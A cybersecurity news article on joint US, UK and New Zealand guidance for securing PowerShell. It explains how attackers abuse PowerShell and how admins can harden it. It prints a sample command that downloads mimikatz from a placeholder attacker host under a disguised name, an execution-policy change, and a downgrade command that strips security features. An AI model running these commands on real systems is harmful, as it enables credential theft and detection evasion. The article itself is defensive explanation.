PowerShell is one of the most common tools used by hackers in “living off the land” attacks, when malicious actors use an organization’s own tools against itself.
This week, U.S. cybersecurity agencies joined their counterparts in the UK and New Zealand to offer guidance so organizations can use PowerShell safely.
PowerShell is a command line tool and associated scripting language built on the .NET framework. Originally built for Windows, Microsoft open sourced it in 2016. While most administrators use it to patch systems and execute scripts, PowerShell is also a classic tool in the hackers’ arsenal, so defenders and pentesters need to master it.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) announced a joint Cybersecurity Information Sheet (CIS) between cybersecurity authorities from the U.S., New Zealand and the UK on PowerShell in the hope of helping defenders detect PowerShell abuses while enabling legitimate uses.
CISA, the NSA and their UK and New Zealand counterparts are urging users and administrators to review the guidance, Keeping PowerShell: Measures to Use and Embrace, an 8-page PDF document that lists concrete actions to mitigate attacks.
See the Top Active Directory Security Tools
How Attackers Use PowerShell
Tactics vary, but hackers usually gain initial access (such as after a phishing attack) and then use PowerShell to target Active Directory (AD) or other critical systems.
If admins do not restrict AD attributes, methods and capabilities, hackers might steal credentials or elevate privileges to exfiltrate data or install malware. On the other hand, if PowerShell is too limited or disabled, admins won’t be able to “assist with system maintenance, forensics, automation, and security,” according to the guidance document.
Pentesters can attempt various attacks using PowerShell, as the console accepts pretty much everything that works with cmd.exe, including old scripts and .bat files, but a common approach is to download resources from an external IP:
Invoke-WebRequest “http://ROGUE_IP:80/mimikatz.exe” -OutFile “legitimateexec.exe”
Note: in the above command, “mimikatz.exe” does not become legitimate once written onto the system but is simply renamed to evade basic detection (which is unfortunately often enough).
It’s a very basic example but, in real-world conditions, hackers can hide malicious code using base64 or more sophisticated obfuscation.
Of course, it’s not the only attack possible. You can enumerate scheduled tasks, list members and administrators, get environment variables, read history, bypass policies, disable monitoring, inject malicious code in memory, and achieve more complex tasks.
Also read: How Hackers Evade Detection
How Users and Admins Can Secure PowerShell
Some PowerShell attacks are pretty hard to detect. Defenders can use EDR tools or other security products to mitigate them.
Those PowerShell attacks are attractive for hackers because they can quickly elevate privileges in permissive environments. In other words, it’s a legitimate tool that can give access to both local and remote systems across the network.
Users and admins can strengthen their systems significantly by rejecting unsigned scripts and restricting script execution.
According to the document, they should also disable and uninstall deprecated versions of PowerShell to reduce most abuses by attackers. Besides, recent versions have enhanced built-in security features for prevention, detection, and authentication capabilities, such as PowerShell’s credential protection features.
Logging PowerShell activities is also recommended. For example, the Deep Script Block Logging (DSBL) module can allow you to record suspicious Invoke commands used by hackers during their attacks.
If you need to run tasks remotely, use SSH, as it’s secure by design, unlike some protocols.
The screenshot below lists features included in recent versions of PowerShell that security teams and defenders can use:
Be Aware of Common Bypass Techniques
You can read the PowerShell execution policy by typing:
Get-ExecutionPolicy
It’s meant to restrict what can run and what cannot, which is especially recommended to block scripts downloaded from the Internet, but there are known techniques to bypass restrictions, modify the execution policy to elevate privileges, and even disable it if needed.
You can use a command like the following to modify the policy:
Set-ExecutionPolicy $Policy -Force
The problem is the above command can be executed by a legitimate user to complete administrative tasks, so you can’t disable it without inconvenience. Not all users should be allowed to run it, for obvious reasons. Behavioral analysis might help spot such unusual activities in user accounts.
Also, don’t use PowerShell security features blindly. For example, AMSI (Anti-Malware Scan Interface) is a PowerShell security feature that allows integration into anti-malware products, but it’s instrumented by a dll (amsi.dll) that can be abused.
Besides, attackers have learned how security features work and how to evade them. The PowerShell downgrade attack is a common bypass that is used to remove security features:
PowerShell -Version 2
Hackers can even use an automated tool such as Unicorn to perform these attacks.
Also read: A Few Clicks from Data Disaster: The State of Enterprise Security
No Foolproof Solution
As usual, there’s no magic solution. Using the latest versions of PowerShell and restricting the execution policy won’t block the most sophisticated attacks that can divert native functionalities and remain undetected.
However, that’s still a significant step towards better security, as lots of corporate networks neglect post-exploitation, making AD enumeration and other abuses relatively easy for hackers. Defense in layers is efficient and there’s no valid reason not to harden your configurations.
Read next: Testing & Evaluating SIEM Systems: A Review of Rapid7 InsightIDR
